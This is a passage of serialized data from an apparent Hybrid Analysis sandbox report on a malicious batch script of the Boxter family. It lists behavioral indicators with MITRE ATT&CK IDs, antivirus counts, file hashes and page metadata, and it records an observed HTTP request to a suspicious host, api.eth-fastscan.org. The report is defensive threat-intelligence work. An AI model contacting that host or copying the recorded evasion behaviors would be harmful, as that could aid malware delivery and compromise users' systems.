Call","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"$4d","id":"memorydump-2","level":"informative","mitre_attack_id":"T1071","name":"Found potential URLs in memory dumps","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","id":"api-37","level":"informative","mitre_attack_id":"T1068","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","origin":"API Call","relevance":10,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Network Related","description":"\"GET /sefirah HTTP/1.1\nHost: api.eth-fastscan.org\nConnection: Keep-Alive\"","id":"network-41","level":"suspicious","mitre_attack_id":"T1071.001","name":"Found HTTP GET request without a User Agent","origin":"Network Traffic","relevance":7,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"\"powershell.exe\" called \"LoadResource with parameter {'hModule': '2002278809601', 'hResInfo': '2002278810848'}\" (UID: 00000000-00004260)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2002278809601', 'hResInfo': '2002278810880'}\" (UID: 00000000-00004260)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2002278809601', 'hResInfo': '2002278810896'}\" (UID: 00000000-00004260)\n \"powershell.exe\" called \"LoadResource with parameter {'hModule': '2002278809601', 'hResInfo': '2002278810864'}\" (UID: 00000000-00004260)","id":"api-139","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to load a resource in memory","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004260-00000C2C-998122487\")\n Found string \"NtQuerySystemInformationW\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004260-00000C2C-998792653\")","id":"string-659","level":"informative","mitre_attack_id":"T1497.001","name":"Able to identify virtual environment by using API string","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"cmd.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00007120)","id":"api-294","level":"informative","mitre_attack_id":"T1082","name":"Attempts to call APIs to gather system and hardware detail","origin":"API Call","relevance":3,"sources":[{"report_id":"6a02f64c399283c03604e4f0","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":3,"suspicious_count":0,"total_engines":26},"mitre_attacks":{"total":69},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":159,"malicious_count":4,"suspicious_count":15,"total":178}},"summary":{"score":100,"tags":["malicious"],"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin","file_size":1960,"file_type":["script","bat"],"file_type_id":"bat"},"hashes":{"imphash":"Unknown","md5":"eb076537535114be2b511f7547eaaa67","sha1":"df75b9cb2f9e1ad059baa195a228f12e9a64d494","sha256":"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7","sha512":"2e06fdeb1aee21b126c42d4f7d1cf4ba821839bfb286fdf942a1d3cb94b61f79ee358d62ef7c4e4a0e436a7a95476887bca2c4530fe4f1174db26189de8fd7aa","ssdeep":"48:RpbIQW3G6FL5lE3VVX5limkXeGNsp6/sK:RlIAc923dUap6/sK","ssdeep_chunks":["48:RpbIQW3","48:pbIQW3G","48:bIQW3G6","48:IQW3G6F","48:QW3G6FL","48:W3G6FL5","48:3G6FL5l","48:G6FL5lE","48:6FL5lE3","48:FL5lE3V","48:L5lE3VV","48:5lE3VVX","48:lE3VVX5","48:E3VVX5l","48:3VVX5li","48:VVX5lim","48:VX5limk","48:X5limkX","48:5limkXe","48:limkXeG","48:imkXeGN","48:mkXeGNs","48:kXeGNsp","48:XeGNsp6","48:eGNsp6/","48:GNsp6/s","48:Nsp6/sK","96:RpbIQW3","96:pbIQW3G","96:bIQW3G6","96:IQW3G6F","96:QW3G6FL","96:W3G6FL5","96:3G6FL5l","96:G6FL5lE","96:6FL5lE3","96:FL5lE3V","96:L5lE3VV","96:5lE3VVX","96:lE3VVX5","96:E3VVX5l","96:3VVX5li","96:VVX5lim","96:VX5limk","96:X5limkX","96:5limkXe","96:limkXeG","96:imkXeGN","96:mkXeGNs","96:kXeGNsp","96:XeGNsp6","96:eGNsp6/","96:GNsp6/s","96:Nsp6/sK","48:RlIAc92","48:lIAc923","48:IAc923d","48:Ac923dU","48:c923dUa","48:923dUap","48:23dUap6","48:3dUap6/","48:dUap6/s","48:Uap6/sK"]},"submissions":{"first_seen":1778578557000,"last_multi_scan":1778579020000,"last_seen":1778579020000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["6a02f64c399283c03604e4f0"]},"schema_version":"1.0.9","sha256":"0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7","threat_score":100,"unified_at":"2026-09-07T15:51:36.377Z","unified_at_epoch_ms":1788796296377,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious CMD:BZC.PZQ.Boxter.1139 Sample 0b6d995b8b6a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0b6d995b8b6a…. Malware family: CMD:BZC.PZQ.Boxter.1139. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7"}],["$","meta","4",{"property":"og:title","content":"Malicious CMD:BZC.PZQ.Boxter.1139 Sample 0b6d995b8b6a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0b6d995b8b6a…. Malware family: CMD:BZC.PZQ.Boxter.1139. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious CMD:BZC.PZQ.Boxter.1139 Sample 0b6d995b8b6a… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0b6d995b8b6a…. Malware family: CMD:BZC.PZQ.Boxter.1139. Threat score 100/100. 3/26 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L4e","11",{}]]